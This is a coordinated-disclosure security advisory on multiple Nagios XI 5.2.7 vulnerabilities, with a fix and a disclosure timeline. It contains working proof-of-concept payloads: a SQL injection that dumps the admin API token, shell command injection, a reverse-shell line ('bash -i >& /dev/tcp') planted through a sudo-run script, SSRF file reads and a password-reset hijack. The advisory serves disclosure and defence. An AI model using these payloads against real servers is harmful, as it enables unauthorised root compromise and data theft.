( , ) (, . '.' ) ('. ', ). , ('. ( ) ( (_,) .'), ) _ _, / _____/ / _ \ ____ ____ _____ \____ \==/ /_\ \ _/ ___\/ _ \ / \ / \/ | \\ \__( <_> ) Y Y \ /______ /\___|__ / \___ >____/|__|_| / \/ \/.-. \/ \/:wq (x.0) '=.|w|.=' _=''"''=. presents.. Nagios XI Multiple Vulnerabilities Affected versions: Nagios XI <= 5.2.7 PDF: http://www.security-assessment.com/files/documents/advisory/NagiosXI-Advisory.pdf +-----------+ |Description| +-----------+ The Nagios XI application is affected by multiple security vulnerabilities, including unauthenticated SQL injection and authentication bypass, arbitrary code execution via command injection, privilege escalation, server-side request forgery and account hijacking. These vulnerabilities can be chained together to obtain unauthenticated remote code execution as the root user. +------------+ |Exploitation| +------------+ ==SQL Injection== The ‘host’ and ‘service’ GET parameters in the ‘nagiosim.php’ page are vulnerable to SQL injection via error-based payloads. An attacker can exploit this vulnerability to retrieve sensitive information from the application’s MySQL database such as the administrative users’ password hash (unsalted MD5) or the token used to authenticate to the Nagios XI REST API. This security issue is aggravated by the fact that an attacker can directly browse to the vulnerable page and exploit the vulnerability without providing a valid session cookie. [POC - DUMP ADMIN API TOKEN] GET /nagiosxi/includes/components/nagiosim/nagiosim.php?mode=resolve&host=a&service='+AND+ (SELECT+1+FROM(SELECT+COUNT(*),CONCAT('|APIKEY|',(SELECT+MID((IFNULL(CAST(backend_ticket+AS +CHAR),0x20)),1,54)+FROM+xi_users+WHERE+user_id%3d1+LIMIT+0,1),'|APIKEY|',FLOOR(RAND(0)*2)) x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)+OR+' HTTP/1.1 The API token can be reused to bypass authentication either by creating a user via the REST API or through the Rapid Response functionality as shown below. [POC- BYPASS AUTHENTICATION THROUGH RAPID RESPONSE FUNCTIONALITY] // uid == --, object id value doesn't matter GET /nagiosxi/rr.php?uid=1-b- HTTP/1.1 ==Command Injection== Multiple command injection vulnerabilities exist in the Nagios XI web interface due to unescaped user input being passed to shell functions as an argument. This issues can be exploited to inject arbitrary shell commands and obtain remote code execution in the context of the 'apache' user. URL => GET /nagiosxi/includes/components/nagiosim/nagiosim.php?mode=update&token=&incident_id=&title=&status= PARAMETER => title POC PAYLOAD => title'; touch /tmp/FILE; echo ' URL => GET /nagiosxi/includes/components/perfdata/graphApi.php?host=&start=&end= PARAMETERS => start, end POC PAYLOAD => 1; touch /tmp/FILE; ==Privilege Escalation== The Nagios XI default sudoers configuration can be abused to elevate privileges to root due to an insecure implementation of the application’s component upload functionality. The ‘apache’ user can run the getprofile.sh script with root privileges without being prompted for a password. The getprofile.sh script is part of the Profile component along with the following files: - profile.php, the PHP script that outputs the system information. - profile.inc.php, a PHP include file with required functionality for profile.php. An attacker can backdoor the profile.php file with a function to execute arbitrary shell commands (e.g. ), replace the getprofile.sh file with a malicious payload (e.g. “#!/bin/bash bash –i >& /dev/tcp// 0>&1”) and finally create a ‘profile.zip’ archive containing the malicious component files. Once uploaded, the application will unzip the component archive and overwrite the existing profile directory and its files, including getprofile.sh. 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ZS5waHAKACAAAAAAAAEAGACACwGHDazRAYALAYcNrNEBAASruQ2s0QFQSwUGAAAAAAYABgB2AgAA vREAAAAA [POC - PRIVILEGE ESCALATION EXPLOITATION] GET /nagiosxi/includes/components/profile/profile.php?cmd=sudo ./getprofile.sh The default Profile component archive can be downloaded at the following link: https://assets.nagios.com/downloads/nagiosxi/components/profile.zip ==Server-Side Request Forgery== Multiple server-side request forgery vulnerabilities exist in the Nagios XI application. An attacker can provide arbitrary data to curl_exec calls to port scan internal services listening on localhost, read files on the Nagios XI server file system or send data to other hosts in the same internal network where the Nagios XI server is deployed. // the application filter the string 'file://' can be bypassed by converting the handler to uppercase URL => GET /nagiosxi/ajaxproxy.php?proxyurl= PARAMETER => proxyurl POC PAYLOAD => FILE://// URL => GET /nagiosxi/backend/?cmd=geturlhtml&url= PARAMETER => url POC PAYLOAD => file://// ==Account Hijacking== The Nagios XI application is vulnerable to an arbitrary account hijacking vulnerability due to an insecure implementation of the password reset functionality. The application does not enforce any verification to confirm the provided reset token can only be used to change the login credentials for the specific user for which it was generated. A limited user can therefore abuse the password reset functionality to hijack an administrative account by tampering with the ‘username’ hidden parameter during the password reset process. [POC - ACCOUNT HIJACKING 'nagiosadmin'] POST /nagiosxi/login.php?finishresetpass&username=stduser&token- HTTP/1.1 token=&username=nagiosadmin&password1=&password2=&reset=1 +----------+ | Solution | +----------+ Upgrade to Nagios XI 5.2.8. Please note at the time of this writing the privilege escalation vulnerability is still unpatched. The SSRF vulnerabilities have been only partially fixed by blacklisting the 'file://' handler, but all the other SSRF attack vectors are still exploitable. Vendor stated these vulnerabilities will be likely patched on the next release of the application as they require authentication and as such are not considered major security issues. +------------+ | Timeline | +------------+ 13/05/2016 – Initial disclosure to vendor 14/05/2016 – Vendor confirms receipt of advisory 25/05/2016 – Vendor provides fixes for most of the vulnerabilities 25/05/2016 – Enquiry about the status of fixes for the unpatched vulnerabilities 26/05/2016 – Vendor responded with “Since the major issues have been fixed and the remaining issues I'd like to touch up are only available if the user is logged in, or logged in as admin, I don't see a reason to hold onto releasing the advisory.” 2/06/2016 – Public disclosure +------------+ | Additional | +------------+ Further information is available in the accompanying PDF. http://www.security-assessment.com/files/documents/advisory/NagiosXI-Advisory.pdf

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